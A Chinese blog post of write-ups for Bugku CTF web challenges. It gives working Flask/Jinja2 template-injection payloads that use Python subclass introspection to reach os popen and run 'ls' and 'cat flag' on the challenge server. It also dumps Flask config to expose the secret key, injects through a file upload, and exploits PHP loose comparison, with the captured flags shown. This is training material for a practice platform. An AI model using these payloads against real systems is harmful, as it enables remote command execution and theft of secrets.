Bugku解题 web (一)

这篇博客介绍了在Bugku平台上的多个Web安全挑战,主要包括Simple_SSTI系列,涉及Python SSTI注入,通过获取os类执行Linux命令来读取flag;Flask_FileUpload挑战,探讨了如何在文件上传中实现注入;以及其他的Web题目,如利用源码泄露、输入验证漏洞等手段获取flag。同时,还提及了一个社工类挑战,涉及信息收集。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >


介绍:记录解题过程

1 Simple_SSTI_2

python模仿注入(SSTI)

  1. 通过以下语句拿到可用的类的列表
http://114.67.246.176:13299/?flag={{%22%22.__class__.__bases__[0].__subclasses__()}}

在这里插入图片描述

  1. 我们需要的是os命令执行类<class ‘os._wrap_close’>
    在这里插入图片描述

  2. 利用逗号定位
    在这里插入图片描述

  3. 我们可以先看一下我们索引的是否正确,输入url

/?flag={{"".__class__.__bases__[0].__subclasses__()[127]}}

在这里插入图片描述

  1. 构造语句,并执行ls命令(对方是Linux服务器,所以要使用Linux命令
/?flag={{"".__class__.__bases__[0].__subclasses__()[127].__init__.__globals__['popen']('ls').read()}}

在这里插入图片描述

Dockerfile app.py flag gunicorn.conf.py templates
  1. 读flag
/?flag={{"".__class__.__bases__[0].__subclasses__()[127].__init__.__globals__['popen']('cat flag').read()}}

在这里插入图片描述

flag{f325fff1f68aec4243a034f722d0833c}

2 Simple_SSTI_1

You need pass in a parameter named flag。

python模仿注入(SSTI)

  1. python模仿注入(SSTI)
    在这里插入图片描述
  2. 首页查看源码
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Simple SSTI</title>
</head>
<body>
You need pass in a parameter named flag。
<!-- You know, in the flask, We often set a secret_key variable.-->
</body>
</html>
你知道,在flask里,我们经常设置一个secret_key变量
  1. so我们要读secret_key变量,导出所有config变量,其中就包括SECRET_KEY
/?flag={{config.items()}}

在这里插入图片描述

flag{f7075118c1f7956690794e58eb0b2198}

3.Flask_FileUpload

描  述: Flask_FileUpload

<html>
<head>
  <title>File Upload</title>
</head>
<body>
    <form action="/uploader" method="POST" enctype="multipart/form-data">
        <input type="file" name="file" accept=".jpg,.png" />
        <input type="submit" />
    </form>
<!-- Give me the file, and I will return the Running results by python to you! -->
</body>
</html>
  1. 上传成功后
file uploaded successfully!<!--   File "/app/upload/simple.png", line 1
SyntaxError: Non-UTF-8 code starting with '\x89' in file /app/upload/simple.png on line 1, but no encoding declared; see http://python.org/dev/peps/pep-0263/ for details -->
  1. Method Not Allowed
    在这里插入图片描述
  2. 要在上传中实现注入
{{"".__class__.__bases__[0].__subclasses__()[127].__init__.__globals__['popen']('ls').read()}}

在这里插入图片描述
3. cd …/
在这里插入图片描述

  1. cd …/;cat flag
    在这里插入图片描述
flag{a1b5409b110f8658d4264f260807aefc}

4.web1

提  示: 官方交流群:222959472
描  述: flag{}

  1. 查看源码得的flag
<!--flag{5aa7724ad0937437e93acd880c88373c}
 -->

在这里插入图片描述

5.web2

描  述: 输入验证码即可得到flag

1 长度限制改为2
在这里插入图片描述

flag{49e5e23c0b45249426b1777ba3445a50}

6.web3

  1. 首页
    在这里插入图片描述

  2. 得的flag
    在这里插入图片描述

7.web4

描  述: post

  1. 首页
    在这里插入图片描述
  2. 得的flag
    在这里插入图片描述

8.web5

描  述: 矛盾

$num=$_GET['num'];
if(!is_numeric($num))
{
echo $num;
if($num==1)
echo 'flag{**********}';
}
  1. 数字后面加个非数字的即可
    在这里插入图片描述
flag{5fe31bef8632c6b6416516e77b9bb7c7}

9. web6

  1. ctrl+U查看源码,然后html解码
    在这里插入图片描述
    HtmlEncode编码/HtmlEncode解码 - 站长工具
flag{3bd205d63ad6e8e6232931745f400d41}

10. web7

描  述: 你必须让他停下

  1. burpSuite抓包查看
    在这里插入图片描述
flag{aeee925d31ebeb19d809d262b729cc1c}

11.社工-初步收集

描  述: 其实是杂项,勉强算社工吧。来自当年实战

  • List item
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值